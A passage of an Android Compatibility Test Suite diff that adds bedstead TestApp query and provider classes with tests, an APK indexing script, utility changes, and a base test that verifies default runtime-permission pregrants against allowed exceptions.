+     * @throws NotFoundException if there is no matching @{link TestApp}.
+     */
+    public TestApp get() {
+        // TODO(scottjonathan): Provide instructions on adding the TestApp if the query fails
+        return new TestApp(resolveQuery());
+    }
+
+    private TestAppDetails resolveQuery() {
+        for (TestAppDetails details : mProvider.testApps()) {
+            if (mPackageName != null && !mPackageName.equals(details.mPackageName)) {
+                continue;
+            }
+
+            mProvider.markTestAppUsed(details);
+            return details;
+        }
+
+        throw new NotFoundException(this);
+    }
+}
diff --git a/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml b/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml
new file mode 100644
index 0000000..2e95934
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/AndroidManifest.xml
@@ -0,0 +1,31 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.bedstead.testapp.test">
+
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
+
+    <application android:label="TestApp Tests">
+        <uses-library android:name="android.test.runner" />
+    </application>
+    <uses-sdk android:minSdkVersion="27" android:targetSdkVersion="27"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.bedstead.testapp.test"
+                     android:label="TestApp Tests" />
+</manifest>
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java
new file mode 100644
index 0000000..9ab3fe3
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppProviderTest.java
@@ -0,0 +1,89 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.testng.Assert.assertThrows;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class TestAppProviderTest {
+
+    // Expects that this package name matches an actual test app
+    private static final String EXISTING_PACKAGENAME = "android.EmptyTestApp";
+
+    // Expects that this package name does not match an actual test app
+    private static final String NOT_EXISTING_PACKAGENAME = "not.existing.test.app";
+
+    private TestAppProvider mTestAppProvider;
+
+    @Before
+    public void setup() {
+        mTestAppProvider = new TestAppProvider();
+    }
+
+    @Test
+    public void get_queryMatches_returnsTestApp() {
+        TestAppQueryBuilder query = mTestAppProvider.query()
+                .withPackageName(EXISTING_PACKAGENAME);
+
+        assertThat(query.get()).isNotNull();
+    }
+
+    @Test
+    public void get_queryMatches_packageNameIsSet() {
+        TestAppQueryBuilder query = mTestAppProvider.query()
+                .withPackageName(EXISTING_PACKAGENAME);
+
+        assertThat(query.get().packageName()).isEqualTo(EXISTING_PACKAGENAME);
+    }
+
+    @Test
+    public void get_queryDoesNotMatch_throwsException() {
+        TestAppQueryBuilder query = mTestAppProvider.query()
+                .withPackageName(NOT_EXISTING_PACKAGENAME);
+
+        assertThrows(NotFoundException.class, query::get);
+    }
+
+    @Test
+    public void any_returnsTestApp() {
+        assertThat(mTestAppProvider.any()).isNotNull();
+    }
+
+    @Test
+    public void any_returnsDifferentTestApps() {
+        assertThat(mTestAppProvider.any()).isNotEqualTo(mTestAppProvider.any());
+    }
+
+    @Test
+    public void query_onlyReturnsTestAppOnce() {
+        mTestAppProvider.query().withPackageName(EXISTING_PACKAGENAME).get();
+
+        TestAppQueryBuilder query = mTestAppProvider.query().withPackageName(EXISTING_PACKAGENAME);
+
+        assertThrows(NotFoundException.class, query::get);
+    }
+
+    // TODO(scottjonathan): Once we support features other than package name, test that we can get
+    //  different test apps by querying for the same thing
+}
diff --git a/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
new file mode 100644
index 0000000..e7ad81c
--- /dev/null
+++ b/common/device-side/bedstead/testapp/src/test/java/com/android/bedstead/testapp/TestAppTest.java
@@ -0,0 +1,112 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.testapp;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.Context;
+import android.os.UserHandle;
+
+import com.android.bedstead.nene.TestApis;
+import com.android.bedstead.nene.packages.Package;
+import com.android.bedstead.nene.users.UserReference;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.File;
+
+@RunWith(JUnit4.class)
+public class TestAppTest {
+
+    private static final TestApis sTestApis = new TestApis();
+    private static final UserReference sUser = sTestApis.users().instrumented();
+    private static final UserHandle sUserHandle = sUser.userHandle();
+    private static final Context sContext = sTestApis.context().instrumentedContext();
+
+    private TestAppProvider mTestAppProvider;
+
+    @Before
+    public void setup() {
+        mTestAppProvider = new TestAppProvider();
+    }
+
+    @Test
+    public void reference_returnsNeneReference() {
+        TestApp testApp = mTestAppProvider.any();
+
+        assertThat(testApp.reference()).isEqualTo(sTestApis.packages().find(testApp.packageName()));
+    }
+
+    @Test
+    public void resolve_returnsNenePackage() {
+        TestApp testApp = mTestAppProvider.any();
+        testApp.install(sUser);
+
+        try {
+            Package pkg = testApp.resolve();
+
+            assertThat(pkg.packageName()).isEqualTo(testApp.packageName());
+        } finally {
+            testApp.reference().uninstall(sUser);
+        }
+    }
+
+    @Test
+    public void install_userReference_installs() {
+        TestApp testApp = mTestAppProvider.any();
+
+        testApp.install(sUser);
+
+        try {
+            assertThat(testApp.resolve().installedOnUsers()).contains(sUser);
+        } finally {
+            testApp.reference().uninstall(sUser);
+        }
+    }
+
+    @Test
+    public void install_userHandle_installs() {
+        TestApp testApp = mTestAppProvider.any();
+
+        testApp.install(sUserHandle);
+
+        try {
+            assertThat(testApp.resolve().installedOnUsers()).contains(sUser);
+        } finally {
+            testApp.reference().uninstall(sUser);
+        }
+    }
+
+    @Test
+    public void writeApkFile_writesFile() throws Exception {
+        TestApp testApp = mTestAppProvider.any();
+        File filesDir = sContext.getExternalFilesDir(/* type= */ null);
+        File outputFile = new File(filesDir, "test.apk");
+        outputFile.delete();
+
+        testApp.writeApkFile(outputFile);
+
+        try {
+            assertThat(outputFile.exists()).isTrue();
+        } finally {
+            outputFile.delete();
+        }
+    }
+}
diff --git a/common/device-side/bedstead/testapp/tools/index/index_testapps.py b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
new file mode 100644
index 0000000..26a7f1f
--- /dev/null
+++ b/common/device-side/bedstead/testapp/tools/index/index_testapps.py
@@ -0,0 +1,32 @@
+#  Copyright (C) 2021 The Android Open Source Project
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#       http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+
+import argparse
+from pathlib import Path
+
+def main():
+    args_parser = argparse.ArgumentParser(description='Generate index for test apps')
+    args_parser.add_argument('--directory', help='Directory containing test apps')
+    args = args_parser.parse_args()
+
+    pathlist = Path(args.directory).rglob('*.apk')
+    file_names = [p.name for p in pathlist]
+
+    # TODO(scottjonathan): Replace this with a proto with actual details
+    with open(args.directory + "/index.txt", "w") as outfile:
+        for file_name in file_names:
+            print(file_name.rsplit(".", 1)[0], file=outfile)
+
+if __name__ == "__main__":
+    main()
\ No newline at end of file
diff --git a/common/device-side/util-axt/Android.bp b/common/device-side/util-axt/Android.bp
index a9be7f3..71696c4 100644
--- a/common/device-side/util-axt/Android.bp
+++ b/common/device-side/util-axt/Android.bp
@@ -29,10 +29,11 @@
     static_libs: [
         "compatibility-common-util-devicesidelib",
         "androidx.test.rules",
+        "androidx.test.ext.junit",
         "ub-uiautomator",
         "mockito-target-minus-junit4",
         "androidx.annotation_annotation",
-        "truth-prebuilt",
+        "truth-prebuilt"
     ],
 
     libs: [
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt b/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt
index 1993e81..82b4190 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AccessibilityNodeInfoUtils.kt
@@ -22,6 +22,9 @@
 import android.view.accessibility.AccessibilityNodeInfo
 import androidx.test.InstrumentationRegistry
 
+val UI_ROOT: AccessibilityNodeInfo get() =
+    InstrumentationRegistry.getInstrumentation().uiAutomation.rootInActiveWindow
+
 val AccessibilityNodeInfo.bounds: Rect get() = Rect().also { getBoundsInScreen(it) }
 
 fun AccessibilityNodeInfo.click() {
@@ -49,13 +52,12 @@
     }
 }
 
-val AccessibilityNodeInfo.children: List<AccessibilityNodeInfo?> get() =
+val AccessibilityNodeInfo.children: List<AccessibilityNodeInfo> get() =
     List(childCount) { i -> getChild(i) }
 
 val AccessibilityNodeInfo.textAsString: String? get() = (text as CharSequence?).toString()
 
 @JvmOverloads
-fun uiDump(
-    ui: AccessibilityNodeInfo? =
-        InstrumentationRegistry.getInstrumentation().uiAutomation.rootInActiveWindow
-) = buildString { UiDumpUtils.dumpNodes(ui, this) }
\ No newline at end of file
+fun uiDump(ui: AccessibilityNodeInfo? = UI_ROOT) = buildString {
+    UiDumpUtils.dumpNodes(ui, this)
+}
\ No newline at end of file
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
index 6eeaae2..3d8fefa 100644
--- a/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/AppStandbyUtils.java
@@ -16,13 +16,15 @@
 
 package com.android.compatibility.common.util;
 
+import android.app.usage.UsageStatsManager;
 import android.util.Log;
 
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
+import androidx.test.InstrumentationRegistry;
 
 public class AppStandbyUtils {
     private static final String TAG = "CtsAppStandbyUtils";
+    private static final UsageStatsManager sUsageStatsManager = InstrumentationRegistry
+            .getTargetContext().getSystemService(UsageStatsManager.class);
 
     /**
      * Returns if app standby is enabled.
@@ -63,4 +65,14 @@
         Log.d(TAG, "AppStandby is " + (boolResult ? "enabled" : "disabled") + " at runtime.");
         return boolResult;
     }
+
+    /** Returns the current standby-bucket of the package on the device */
+    public static int getAppStandbyBucket(String packageName) {
+        try {
+            return SystemUtil.callWithShellPermissionIdentity(
+                    () -> sUsageStatsManager.getAppStandbyBucket(packageName));
+        } catch (Exception e) {
+            throw new RuntimeException("Could not get standby-bucket for " + packageName, e);
+        }
+    }
 }
diff --git a/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
new file mode 100644
index 0000000..ee33f42
--- /dev/null
+++ b/common/device-side/util-axt/src/com/android/compatibility/common/util/BaseDefaultPermissionGrantPolicyTest.java
@@ -0,0 +1,810 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.compatibility.common.util;
+
+import static android.content.pm.PermissionInfo.PROTECTION_DANGEROUS;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+
+import static org.junit.Assert.fail;
+
+import android.Manifest;
+import android.content.Context;
+import android.content.pm.ApplicationInfo;
+import android.content.pm.PackageInfo;
+import android.content.pm.PackageManager;
+import android.content.pm.PermissionInfo;
+import android.content.pm.Signature;
+import android.os.Build;
+import android.os.UserHandle;
+import android.permission.PermissionManager;
+import android.util.ArrayMap;
+import android.util.ArraySet;
+import android.util.Log;
+import android.util.SparseArray;
+
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Objects;
+import java.util.Set;
+
+public abstract class BaseDefaultPermissionGrantPolicyTest extends BusinessLogicTestCase {
+    public static final String LOG_TAG = "DefaultPermissionGrantPolicy";
+    private static final String PLATFORM_PACKAGE_NAME = "android";
+
+    private static final String BRAND_PROPERTY = "ro.product.brand";
+    private static final char[] HEX_ARRAY = "0123456789ABCDEF".toCharArray();
+
+    private Set<DefaultPermissionGrantException> mRemoteExceptions = new HashSet<>();
+
+    /**
+     * Returns whether this build is a CN build.
+     */
+    public abstract boolean isCnBuild();
+
+    /**
+     * Returns whether this build is a CN build with GMS.
+     */
+    public abstract boolean isCnGmsBuild();
+
+    /**
+     * Add default permissions for all applicable apps.
+     */
+    public abstract void addDefaultSystemHandlerPermissions(
+            ArrayMap<String, PackageInfo> packagesToVerify,
+            SparseArray<UidState> pregrantUidStates) throws Exception;
+
+    /**
+     * Return the names of all the runtime permissions to check for violations.
+     */
+    public abstract Set<String> getRuntimePermissionNames(List<PackageInfo> packageInfos);
+
+    /**
+     * Returns whether the permission name, as defined in
+     * {@link PermissionManager.SplitPermissionInfo#getNewPermissions()}
+     * should be considered a violation.
+     */
+    public abstract boolean isSplitPermissionNameViolation(String permissionName);
+
+    public void testDefaultGrantsWithRemoteExceptions(boolean preGrantsOnly) throws Exception {
+        List<PackageInfo> allPackages = getAllPackages();
+        Set<String> runtimePermNames = getRuntimePermissionNames(allPackages);
+        ArrayMap<String, PackageInfo> packagesToVerify =
+                getMsdkTargetingPackagesUsingRuntimePerms(allPackages, runtimePermNames);
+
+        // Ignore CTS infrastructure
+        packagesToVerify.remove("android.tradefed.contentprovider");
+
+        SparseArray<UidState> pregrantUidStates = new SparseArray<>();
+
+        addDefaultSystemHandlerPermissions(packagesToVerify, pregrantUidStates);
+
+        // Add split permissions that were split from non-runtime permissions
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)) {
+            addSplitFromNonDangerousPermissions(packagesToVerify, pregrantUidStates);
+        }
+
+        // Add exceptions
+        addExceptionsDefaultPermissions(packagesToVerify, runtimePermNames, pregrantUidStates);
+
+        // packageName -> message -> [permission]
+        ArrayMap<String, ArrayMap<String, ArraySet<String>>> violations = new ArrayMap();
+
+        // Enforce default grants in the right state
+        checkDefaultGrantsInCorrectState(packagesToVerify, pregrantUidStates, violations);
+
+        // Nothing else should have default grants
+        checkPackagesForUnexpectedGrants(packagesToVerify, runtimePermNames, violations,
+                preGrantsOnly);
+
+        logPregrantUidStates(pregrantUidStates);
+
+        // Bail if we found any violations
+        if (!violations.isEmpty()) {
+            fail(createViolationsErrorString(violations));
+        }
+    }
+
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions for this
+     * instance of the test class. This is an alternative to downloading the encrypted xml
+     * file, a process which is now deprecated.
+     *
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setException(String pkg, String sha256, String... permissions) {
+        HashMap<String, Boolean> permissionsMap = new HashMap<>();
+        for (String permissionString : permissions) {
+            String[] parts = permissionString.trim().split("\\s+");
+            if (parts.length != 2) {
+                Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
+                return;
+            }
+            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+        }
+        mRemoteExceptions.add(new DefaultPermissionGrantException(pkg, sha256, permissionsMap));
+    }
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions for this
+     * instance of the test class. Also enables the supply of exception metadata.
+     *
+     * @param company     the company name
+     * @param metadata    the exception metadata
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setExceptionWithMetadata(String company, String metadata, String pkg,
+            String sha256, String... permissions) {
+        HashMap<String, Boolean> permissionsMap = new HashMap<>();
+        for (String permissionString : permissions) {
+            String[] parts = permissionString.trim().split("\\s+");
+            if (parts.length != 2) {
+                Log.e(LOG_TAG, "Unable to parse remote exception permission: " + permissionString);
+                return;
+            }
+            permissionsMap.put(parts[0], Boolean.valueOf(parts[1]));
+        }
+        mRemoteExceptions.add(new DefaultPermissionGrantException(
+                company, metadata, pkg, sha256, permissionsMap));
+    }
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions on CN Gms
+     * for this instance of the test class. This is an alternative to downloading the encrypted
+     * xml file, a process which is now deprecated.
+     *
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setCNGmsException(String pkg, String sha256, String... permissions) {
+        if (!isCnGmsBuild()) {
+            Log.e(LOG_TAG, "Regular GMS build, skip allowlisting: " + pkg);
+            return;
+        }
+        setException(pkg, sha256, permissions);
+    }
+
+    /**
+     * Primarily invoked by business logic, set default permission grant exceptions on CN Gms
+     * for this instance of the test class. This is an alternative to downloading the encrypted
+     * xml file, a process which is now deprecated.
+     *
+     * @param company     the company name
+     * @param metadata    the exception metadata
+     * @param pkg         the package name
+     * @param sha256      the sha256 cert digest of the package
+     * @param permissions the set of permissions, formatted "permission_name fixed_boolean"
+     */
+    public void setCNGmsExceptionWithMetadata(String company, String metadata, String pkg,
+            String sha256, String... permissions) {
+        if (!isCnGmsBuild()) {
+            Log.e(LOG_TAG, "Regular GMS build, skip allowlisting: " + pkg);
+            return;
+        }
+        setExceptionWithMetadata(company, metadata, pkg, sha256, permissions);
+    }
+
+
+    public List<PackageInfo> getAllPackages() {
+        return getInstrumentation().getContext().getPackageManager()
+                .getInstalledPackages(PackageManager.GET_UNINSTALLED_PACKAGES
+                        | PackageManager.GET_PERMISSIONS | PackageManager.GET_SIGNATURES);
+    }
+
+    public static ArrayMap<String, PackageInfo> getMsdkTargetingPackagesUsingRuntimePerms(
+            List<PackageInfo> packageInfos, Set<String> runtimePermNames) {
+        ArrayMap<String, PackageInfo> packageInfoMap = new ArrayMap<>();
+
+        final int packageInfoCount = packageInfos.size();
+        for (int i = 0; i < packageInfoCount; i++) {
+            PackageInfo packageInfo = packageInfos.get(i);
+            if (packageInfo.requestedPermissions == null) {
+                continue;
+            }
+            if (packageInfo.applicationInfo.targetSdkVersion < Build.VERSION_CODES.M) {
+                continue;
+            }
+            for (String requestedPermission : packageInfo.requestedPermissions) {
+                if (runtimePermNames.contains(requestedPermission)) {
+                    packageInfoMap.put(packageInfo.packageName, packageInfo);
+                    break;
+                }
+            }
+        }
+
+        return packageInfoMap;
+    }
+
+    public static void addViolation(
+            Map<String, ArrayMap<String, ArraySet<String>>> violations, String packageName,
+            String permission, String message) {
+        if (!violations.containsKey(packageName)) {
+            violations.put(packageName, new ArrayMap<>());
+        }
+
+        if (!violations.get(packageName).containsKey(message)) {
+            violations.get(packageName).put(message, new ArraySet<>());
+        }
+
+        violations.get(packageName).get(message).add(permission);
+    }
+
+    public static boolean isPackageOnSystemImage(PackageInfo packageInfo) {
+        return (packageInfo.applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM) != 0;
+    }
+
+
+    public static String computePackageCertDigest(Signature signature) {
+        MessageDigest messageDigest;
+        try {
+            messageDigest = MessageDigest.getInstance("SHA256");
+        } catch (NoSuchAlgorithmException e) {
+            /* can't happen */
+            return null;
+        }
+
+        messageDigest.update(signature.toByteArray());
+
+        final byte[] digest = messageDigest.digest();
+        final int digestLength = digest.length;
+        final int charCount = 2 * digestLength;
+
+        final char[] chars = new char[charCount];
+        for (int i = 0; i < digestLength; i++) {
+            final int byteHex = digest[i] & 0xFF;
+            chars[i * 2] = HEX_ARRAY[byteHex >>> 4];
+            chars[i * 2 + 1] = HEX_ARRAY[byteHex & 0x0F];
+        }
+        return new String(chars);
+    }
+
+    public static ArrayMap<String, Object> getPackageProperties(String packageName) {
+        ArrayMap<String, Object> properties = new ArrayMap();
+
+        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        PackageInfo info = null;
+        try {
+            info = pm.getPackageInfo(packageName,
+                    PackageManager.GET_UNINSTALLED_PACKAGES | PackageManager.GET_SIGNATURES);
+        } catch (PackageManager.NameNotFoundException ignored) {
+        }
+
+        properties.put("targetSDK", info.applicationInfo.targetSdkVersion);
+        properties.put("signature", computePackageCertDigest(info.signatures[0]).toUpperCase());
+        properties.put("uid", UserHandle.getAppId(info.applicationInfo.uid));
+        properties.put("priv app", info.applicationInfo.isPrivilegedApp());
+        properties.put("persistent", ((info.applicationInfo.flags
+                & ApplicationInfo.FLAG_PERSISTENT) != 0) + "\n");
+        properties.put("has platform signature", (pm.checkSignatures(info.packageName,
+                PLATFORM_PACKAGE_NAME) == PackageManager.SIGNATURE_MATCH));
+        properties.put("on system image", isPackageOnSystemImage(info));
+
+        return properties;
+    }
+
+
+    public void addException(DefaultPermissionGrantException exception,
+            Set<String> runtimePermNames, Map<String, PackageInfo> packageInfos,
+            SparseArray<UidState> outUidStates) {
+        Log.v(LOG_TAG, "Adding exception for company " + exception.company
+                + ". Metadata: " + exception.metadata);
+        String packageName = exception.pkg;
+        PackageInfo packageInfo = packageInfos.get(packageName);
+        if (packageInfo == null) {
+            Log.v(LOG_TAG, "Trying to add exception to missing package:" + packageName);
+
+            try {
+                // Do not overwhelm logging
+                Thread.sleep(10);
+            } catch (InterruptedException ignored) {
+            }
+            return;
+        }
+        if (!packageInfo.applicationInfo.isSystemApp()) {
+            if (isCnBuild() && exception.hasNonBrandSha256()) {
+                // Due to CN app removability requirement, allow non-system app pregrant exceptions,
+                // as long as they specify a hash (b/121209050)
+            } else {
+                Log.w(LOG_TAG, "Cannot pregrant permissions to non-system package:" + packageName);
+                return;
+            }
+        }
+        // If cert SHA-256 digest is specified it is used for verification, for user builds only
+        if (exception.hasNonBrandSha256()) {
+            String expectedDigest = exception.sha256.replace(":", "").toLowerCase();
+            String packageDigest = computePackageCertDigest(packageInfo.signatures[0]);
+            if (PropertyUtil.isUserBuild() && !expectedDigest.equalsIgnoreCase(packageDigest)) {
+                Log.w(LOG_TAG, "SHA256 cert digest does not match for package: " + packageName
+                        + ". Expected: " + expectedDigest.toUpperCase() + ", observed: "
+                        + packageDigest.toUpperCase());
+                return;
+            }
+        } else if (exception.hasBrand) {
+            // Rare case -- exception.sha256 is actually brand name, verify brand instead
+            String expectedBrand = exception.sha256;
+            String actualBrand = PropertyUtil.getProperty(BRAND_PROPERTY);
+            if (!expectedBrand.equalsIgnoreCase(actualBrand)) {
+                Log.w(LOG_TAG, String.format("Brand %s does not match for package: %s",
+                        expectedBrand, packageName));
+                return;
+            }
+        } else {
+            Log.w(LOG_TAG, "Attribute sha256-cert-digest or brand must be provided for package: "
+                    + packageName);
+            return;
+        }
+
+        List<String> requestedPermissions = Arrays.asList(packageInfo.requestedPermissions);
+        for (Map.Entry<String, Boolean> entry : exception.permissions.entrySet()) {
+            String permission = entry.getKey();
+            Boolean fixed = entry.getValue();
+            if (!requestedPermissions.contains(permission)) {
+                Log.w(LOG_TAG, "Permission " + permission + " not requested by: " + packageName);
+                continue;
+            }
+            if (!runtimePermNames.contains(permission)) {
+                Log.w(LOG_TAG, "Permission:" + permission + " in not runtime");
+                continue;
+            }
+            final int uid = packageInfo.applicationInfo.uid;
+            UidState uidState = outUidStates.get(uid);
+            if (uidState == null) {
+                uidState = new UidState();
+                outUidStates.put(uid, uidState);
+            }
+
+            for (String extendedPerm : extendBySplitPermissions(permission,
+                    packageInfo.applicationInfo.targetSdkVersion)) {
+                uidState.overrideGrantedPermission(packageInfo.packageName,
+                        permission.equals(extendedPerm) ? "exception"
+                                : "exception (split from " + permission + ")", extendedPerm, fixed);
+            }
+        }
+    }
+
+
+    public static ArrayList<String> extendBySplitPermissions(String permission, int appTargetSdk) {
+        ArrayList<String> extendedPermissions = new ArrayList<>();
+        extendedPermissions.add(permission);
+
+        if (ApiLevelUtil.isAtLeast(Build.VERSION_CODES.Q)) {
+            Context context = getInstrumentation().getTargetContext();
+            PermissionManager permissionManager = context.getSystemService(PermissionManager.class);
+
+            for (PermissionManager.SplitPermissionInfo splitPerm :
+                    permissionManager.getSplitPermissions()) {
+                if (splitPerm.getSplitPermission().equals(permission)
+                        && splitPerm.getTargetSdk() > appTargetSdk) {
+                    extendedPermissions.addAll(splitPerm.getNewPermissions());
+                }
+            }
+        }
+
+        return extendedPermissions;
+    }
+
+
+    public void setPermissionGrantState(String packageName, String permission,
+            boolean granted) {
+        try {
+            if (granted) {
+                getInstrumentation().getUiAutomation().grantRuntimePermission(packageName,
+                        permission, android.os.Process.myUserHandle());
+            } else {
+                getInstrumentation().getUiAutomation().revokeRuntimePermission(packageName,
+                        permission, android.os.Process.myUserHandle());
+            }
+        } catch (Exception e) {
+            /* do nothing - best effort */
+        }
+    }
+
+    public void addExceptionsDefaultPermissions(Map<String, PackageInfo> packageInfos,
+            Set<String> runtimePermNames,
+            SparseArray<UidState> outUidStates) throws Exception {
+        // Only use exceptions from business logic if they've been added
+        if (!mRemoteExceptions.isEmpty()) {
+            Log.d(LOG_TAG, String.format("Found %d remote exceptions", mRemoteExceptions.size()));
+            for (DefaultPermissionGrantException dpge : mRemoteExceptions) {
+                addException(dpge, runtimePermNames, packageInfos, outUidStates);
+            }
+        } else {
+            Log.w(LOG_TAG, "Failed to retrieve remote default permission grant exceptions.");
+        }
+    }
+
+
+    // Permissions split from non dangerous permissions
+    private void addSplitFromNonDangerousPermissions(Map<String, PackageInfo> packageInfos,
+            SparseArray<UidState> outUidStates) {
+        Context context = getInstrumentation().getTargetContext();
+
+        for (PackageInfo pkg : packageInfos.values()) {
+            int targetSdk = pkg.applicationInfo.targetSandboxVersion;
+            int uid = pkg.applicationInfo.uid;
+
+            for (String permission : pkg.requestedPermissions) {
+                PermissionInfo permInfo;
+                try {
+                    permInfo = context.getPackageManager().getPermissionInfo(permission, 0);
+                } catch (PackageManager.NameNotFoundException ignored) {
+                    // ignore permissions that are requested but not defined
+                    continue;
+                }
+
+
+                // Permissions split from dangerous permission are granted when the original
+                // permission permission is granted;
+                if ((permInfo.getProtection() & PROTECTION_DANGEROUS) != 0) {
+                    continue;
+                }
+
+                for (String extendedPerm : extendBySplitPermissions(permission, targetSdk)) {
+                    if (!isSplitPermissionNameViolation(extendedPerm)) {
+                        continue;
+                    }
+
+                    if (!extendedPerm.equals(permission)) {
+                        UidState uidState = outUidStates.get(uid);
+
+                        if (uidState != null
+                                && uidState.grantedPermissions.containsKey(extendedPerm)) {
+                            // permission is already granted. Don't override the grant-state.
+                            continue;
+                        }
+
+                        appendPackagePregrantedPerms(pkg, "split from non-dangerous permission "
+                                        + permission, false, Collections.singleton(extendedPerm),
+                                outUidStates);
+                    }
+                }
+            }
+        }
+    }
+
+    public static void appendPackagePregrantedPerms(PackageInfo packageInfo, String reason,
+            boolean fixed, Set<String> pregrantedPerms, SparseArray<UidState> outUidStates) {
+        final int uid = packageInfo.applicationInfo.uid;
+        UidState uidState = outUidStates.get(uid);
+        if (uidState == null) {
+            uidState = new UidState();
+            outUidStates.put(uid, uidState);
+        }
+        for (String requestedPermission : packageInfo.requestedPermissions) {
+            if (pregrantedPerms.contains(requestedPermission)) {
+                uidState.addGrantedPermission(packageInfo.packageName, reason, requestedPermission,
+                        fixed);
+            }
+        }
+    }
+
+    public void logPregrantUidStates(SparseArray<UidState> pregrantUidStates) {
+        Log.i(LOG_TAG, "PREGRANT UID STATES");
+        for (int i = 0; i < pregrantUidStates.size(); i++) {
+            Log.i(LOG_TAG, "uid: " + pregrantUidStates.keyAt(i) + " {");
